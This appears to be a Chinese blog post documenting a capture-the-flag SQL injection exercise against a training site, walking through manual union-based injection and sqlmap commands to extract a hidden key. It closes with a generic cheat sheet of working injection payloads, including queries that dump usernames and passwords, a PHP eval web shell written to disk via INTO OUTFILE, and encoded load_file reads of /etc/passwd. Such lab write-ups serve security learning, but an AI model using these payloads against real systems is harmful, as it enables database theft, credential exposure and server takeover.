zoukankan      html  css  js  c++  java
  • 记一次渗透实验(四)

    这次主要体会sql手工注入。体验大概的固定套路。

    地址:http://ctf5.shiyanbar.com/8/index.php?id=1

    1.首先进入页面检验是否可以注入: 在链接后加入'(单引号),and 1=1,and 1=2,根据页面的返回情况确定是否可以注入。

    2.然后开始爆字段的长度,用Order+数字的方式,一般从10开始,然后5,二分法这样,知道不报错为止。这里是Order by 2

    3.接下来进行匹配字段: 用 and 1=1 union select 1,2,..,n 的方式,因为前一步我们知道了字段长度是2,所以这里select后面的n到2就可以。

    4.接下来爆字段的位置:用 and 1=2 union select 1,2,..,n 这里的n还是2

    5.接下来利用联合查询以及sql语句的函数来查看数据库名称(database()),数据库版本(version())

    数据库名称是:my_db

    数据库版本是:5.547版本

    6.接下来进行爆库:首先取表名:and 1=2 union SELECT table_schema,table_name FROM information_schema.TABLES WHERE table_schema='my_db'

    7.然后取列名(很显然thiskey才是我们想要的):and 1=2 union SELECT column_name,column_type FROM information_schema.COLUMNS  WHERE table_name='thiskey' AND table_schema='my_db'

    可以看到胜利就在眼前,我们要获得的就在这个text字段里面。

    8.取字段内容:and 1=2 and 1=2 union SELECT 1,k0y FROM my_db.thiskey

    搞定!

    还有另一种简单懒惰的方法就是利用强大的sqlmap:

    首先命令行 sqlmap-u http://ctf5.shiyanbar.com/8/index.php?id=1

    这里会告诉我们存在一个id可以注入,我们就不需要再猜其他的了,然后会列出服务器数据库的一些属性,版本之类的。

    之后用命令:sqlmap-u http://ctf5.shiyanbar.com/8/index.php?id=1 --dbs 会得到数据库的名称

    所以我们接下来的目标就是my_db了 

    用命令:sqlmap-u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db --tables 就可以获得my_db中的全部表(不加-D的话会获得全部的table)

    接下来获取表thiskey中的列 用命令:sqlmap-u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db  -T thiskey --columns

    最后获取k0y中的内容就可以了

    用命令:sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 -T thiskey -C k0y --dump

    就会自动暴力破解k0y的内容:

    (得等一小会)

    搞定!

    最后附上sql手工注入的

    判断是否存在SQL注入
    '
    and 1=1
    and 1=2
    暴字段长度
    Order by 数字
    匹配字段
    and 1=1 union select 1,2,..,n
    暴字段位置
    and 1=2 union select 1,2,..,n
     
    利用内置函数暴数据库信息
    version()//数据库版本
    database()//数据库名
    user()//数据库权限名
    不用猜解可用字段暴数据库信息(有些网站不适用):
    and 1=2 union all select version()
    and 1=2 union all select database()
    and 1=2 union all select user()
    操作系统信息:
    and 1=2 union all select @@global.version_compile_os from mysql.user
    数据库权限:
    and ord(mid(user(),1,1))=114  返回正常说明为root
     
    暴库 (mysql>5.0)
    Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
    and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
    猜表
    and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
    猜字段
    and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
    暴密码
    and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
    高级用法(一个可用字段显示两个数据内容):
    Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
    直接写马(Root权限)
    条件:1、知道站点物理路径
    2、有足够大的权限(可以用select …. from mysql.user测试)
    3、magic_quotes_gpc()=OFF
    select ‘<?php eval_r($_POST[cmd])?>' into outfile ‘物理路径'
    and 1=2 union all select 一句话HEX值 into outfile '路径'
    load_file() 常用路径:
      1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
      2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(

    常用口令:

  • 相关阅读:
    Chrony服务同步集群时间
    lsyncd+rsync实时同步
    iptables
    nginx 之 proxy_pass详解
    Ansible 中的 playbook 详解
    MySQL基本查询实战
    MySQL索引
    MySQL高可用方案——双主
    MySQL事务
    MySQL用户和权限管理
  • 原文地址:https://www.cnblogs.com/lixiaoyao123/p/9691005.html
Copyright © 2011-2022 走看看